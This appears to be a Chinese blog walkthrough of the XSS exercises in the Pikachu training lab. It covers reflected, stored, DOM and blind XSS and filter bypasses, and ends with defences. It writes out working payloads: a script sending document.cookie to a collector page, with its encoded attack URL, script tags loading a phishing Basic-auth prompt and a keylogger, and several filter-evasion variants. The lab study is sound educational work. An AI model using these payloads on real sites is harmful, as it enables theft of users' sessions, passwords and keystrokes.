pikachu——XSS(跨网站脚本漏洞)

前述:

前面DVWA中简单的学习了一下关于XSS的知识,在pikachu里的分类更加详细。简单介绍一下XSS,再补充一点前面没有提到过的内容。

概述:

XSS介绍和危害:

 XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户

 XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie,甚至对主机进行远程控制

攻击类型:

危害:存储型 > 反射型 > DOM型

反射型:交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询页面等

存储型:交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面

DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型

测试流程:

1. 在目标上找输入点,比如查询接口、留言板

2. 输入一组 “特殊字符(>,',"等)+唯一识别字符” ,点击提交后,查看返回源码,看后端返回的数据是否有处理

3. 通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行js的条件(构造闭合)

4. 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

 

一、反射型xss(get)

前面DVWA详细的解过反射型xss的题,这里我们再看一下叭。

构造payload语句:<script>alert(/111/)</script>,可以看到直接就执行了我们的js代码。(要修改一下网页的源代码使可以拥有足够的输入空间,火狐浏览器F12可以打开)

 

 

 

 

 

 

这是一个简单的反射型XSS,从前端输入由后端接受再输出,后端没有对这个内容进行存储。

 另外,这是一个GET型的XSS漏洞,一般将带有XSS的URL伪装后发送给目标即可,如果是POST型的XSS,无法直接使用URL的方式进行攻击

 

 

由于是GET类型的XSS漏洞,我们可以直接构造一个带有Payload的URL,诱使受害者点击就能取得Cookie:

 

 

 首先我们要先改一下/pikachu/pkxss/xcookie下的cookie.php,将IP地址改为漏洞服务器的地址

 

然后构造一个URL语句:<script>document.location = 'http://192.168.35.132/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>(要URL编码)

 

用这个语句构造出来的网址就是:http://192.168.35.132/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.35.132%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

 

只要被害用户点击了这个网址,我们就能在后台获取cookie结果:(列表下面有管理工具点一下就出来XSS后台了,点进去按步骤进行就可以)

 

 

 二、反射型xss(post)

我们先登录一下,默认账号是 admin 密码是 123456 。

 

进来后我们发现出现了和上面一样的东西,用刚才的构造语句试试。我们发现一样弹出框,但是post的XSS漏洞并不会在url中显示了,这时候我们不能直接把我们的恶意代码嵌入到URL中

 

 

 现在我们说一下攻击思路

 1.Request伪造页面,触发表单——>(192.168.35.132/post.html)

 2.页面js自动post表单数据,触发XSS——>(192.168.35.132/pikechu/vul/xss/xsspost/xss_reflected_post.php 存在post型xss漏洞网站)

 

3.执行js,窃取cookie——>(192.168.35.132 pikechu xss管理平台)

4.管理平台伪造用户登录,造成危害。——>(192.168.35.132/pikechu/vul/xss/xsspost/xss_reflected_post.php 存在post型xss漏洞网站)

 

pikuchu平台,已经为我们准备好了post.html文件——pkxss\xcookie\post.html

 

 我们需要修改里面 漏洞服务器 和 攻击者 的服务器地址(上面是漏洞服务器,下面是攻击者)

 

 

 post.html页面的作用是:当用户访问这个页面时,会自动向漏洞服务器发送POST请求,然后重定向到漏洞服务器的index页面

 我们只需要诱导受害者点击这个链接就能窃取用户的Cookie

  我们这里用另一个浏览器来访问这个网站 :   http://192.168.35.132/pikachu/pkxss/xcookie/post.html

 

发现页面发生了跳转

 

 

 

 

 

然后我们到我们XSS后台就可以看到了我们窃取得cookie信息。。

 

 

 

三、存储型xss

 存储型XSS和反射型XSS形成的原因是一样的,不同的是存储型XSS下攻击者的可以将脚本注入到后台存储起来,构成更加持久的危害。

 下面输入Payload进行测试:<script>alert("xss")</script>,发现可以输入

 

 

 

 

钓鱼攻击:

我们这里用一个Basic认证去做这个钓鱼攻击,我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求,当用户打开这个页面时,这个页面就会像攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部这时候会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码。

首先攻击者需要构造一个钓鱼页面,用来将发送Basic认证的认证框,修改 pikachu/pkxss/xfish 下的 fish.php 文件,将IP地址改为攻击者的服务器地址

 

 

 

构造的Payload:<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script> ,当用户访问这个留言板时,会出现下面的认证框

 

 上面已经提示密码不会发给正在浏览的网站,如果用户不注意还是可能上当。(因为我这里环境问题显示不出来,你们可以试试)

 

 

键盘记录:

我们首先先了解一下跨域

当协议、主机(主域名、子域名)、端口中的任意一个不同时,称为不同域 。我们把不同域之间请求数据的操作,称为跨域操作。

 

跨域-同源策略:

为了安全考虑,所有的浏览器都约定了“同源策略”。同源策略规定:两个不同域之间不能使用JS进行互相操作。如果想要跨域操作,则需要管理员进行特殊配置。

比如:x.com 域名下的 JS 并不能操作 y.com 域下的对象

下面列举的例子跨域加载资源(资源类型时有限制的)不受同源策略限制

<script src="...">,JS加载到本地执行

<img src="..">,图片

<link href="..">,CSS

<iframe src="..">,任意资源

 

使用同源策略的原因:

比如:一个恶意站点A使用了 <iframe src="B站点登录界面"> ,发送该恶意 url 给受害者,如果受害者浏览器如果没有同源策略,那么 A 上的 JS 即可获取 B 站点的登录信息。

 

现在我们开始做实验了:

先修改pikachu/pkxss/rkeypress 下 rk.js 中的IP地址为攻击者地址。

 

 

 

rk.js 是攻击代码,我们可以把这个 js 文件放到我们的恶意站点上,然后通过有 XSS 漏洞的页面去调用, 这个文件可以记录用户的键盘操作,然后异步发送给攻击者。

设置允许被跨域访问。

 

 

 

然后我们构造 Payload试一下,<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>

现在就获得了我们击键信息了。

 

 

 

 DOM型XSS:

 DOM可以理解为访问HTML的标准接口,DOM里面会把我们的HTML分成一个DOM树

 

 

 

我们可以以这棵树为入口,通过DOM的某些方法对树进行操作,比如对标签的添加、改变和删除等等。

DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口。

我们下面看一下页面源码:

 

 

 

它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str,然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中。

所以我们构造的payload为:#' onclick="alert('xss')">

 

 

 造成DOM型XSS的原因是前端的输入被DOM给获取到了,通过DOM又在前端输出,跟反射型和存储型比起来,它是不经过后台交互的。

 

DOM型XSS-X

我们这关构造闭合语句和上面一样。从url中获得有点和反射型XSS类似:

 

 

 

XSS盲打:

 

XSS盲打不是攻击类型,而是一个攻击场景。

我们先不管别的,先插一段xss代码再说,<script>alert('xss')</script>,我们只看到一句,没有别的了。

 

提交后我们输入的内容不会在前对输出,而是提交到了后台,可能管理员会去看。如果我们输入一个JS代码,管理员登录后台管理界面,如果后台把我们的内容输出,那后台管理员可能遭受到我们的XSS攻击。

 

 

 点一下右上角的提示,我们可以知道,这个平台给了我们一个模拟后台,网址为:http://192.168.35.132/pikachu/vul/xss/xssblind/admin_login.php

 

账号密码就是默认的账号密码。

 

进来之后我们发现遭受了XSS攻击

 

 

 XSS过滤:

实际中的系统,或多或少都会做一些安全措施,但是这些安全措施也能方法、逻辑不严谨,可以被绕过。

转换思路:

1.前端限制绕过,直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。

2.大小写,比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配,如果正则里面只匹配小写,那就可能被绕过。

3.双写(拼凑),<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换,但可能只去掉一次。

4.注释干扰,<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。

 

 

我们在pikachu上,尝试用大小写混合的方式看看能否绕过:<SCRIPT>alert(111)</sCRIpt>,,后端只对小写的script进行过滤

 

  也可以用别的攻击Payload:<img src=x onerror=alert('xss')>

 

 

XSS之htmlspecialchars:

htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数

 预定义的字符是

1. & 成为 &amp

2. " 成为 &quot

3. ' 成为 &#039

4. < 成为 &lt

5. > 成为 &gt

可用引号类型

1. ENT_COMPAT:默认,仅编码双引号

2. ENT_QUOTES:编码双引号和单引号

3. ENT_NOQUOTES:不编码任何引号

 

我们看下源代码,这个可以对特殊字符进行编码,即预定义的字符是 & " ' < > 这五个,转化为 &#xxx的形式。虽然使用了htmlspecialchars进行处理,但是htmlspecialchars默认形式不对单引号处理。

 

 我们可以构造一下Payload,我们在Payload前后都添加一个单引号用于闭合 href 中的单引号:  ' onclick=alert(1111) '

 

 

XSS常见防范措施:

总的原则:输入做过滤,输出做转义

过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字

转义:所有输出到前端的数据根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面进行JS转义

 

XSS之href输出:

我们看一下源代码,这个页面会接收我们的输入的message,然后判断我们输入的网址,如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理。

这个函数转义单引号、双引号和左右尖括号。然后输出到 a 标签的 href 属性中,在 a 标签的href属性中,可以用javascript协议来执行JS

 

 构造payload,有上面被转义的字符: javascript:alert(111)

 

 

XSS之js输出:

 它会把我们的输入放到JS中,然后对这个变量进行判断,

然后我们可以构造一个闭合,先用一个单引号和</script>闭合掉页面中的<script>,然后再插入自己的JS代码:'</script><script>alert('xss')</script>

 

 

 

 

JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话,在JS中不会把它解释会去,这样解决了XSS问题,但不能构成合法的JS。

所以在JS的输出点应该对应该使用 \ 对特殊字符进行转义

posted @ 2020-03-20 20:31  戚源  阅读(557)  评论(0编辑  收藏  举报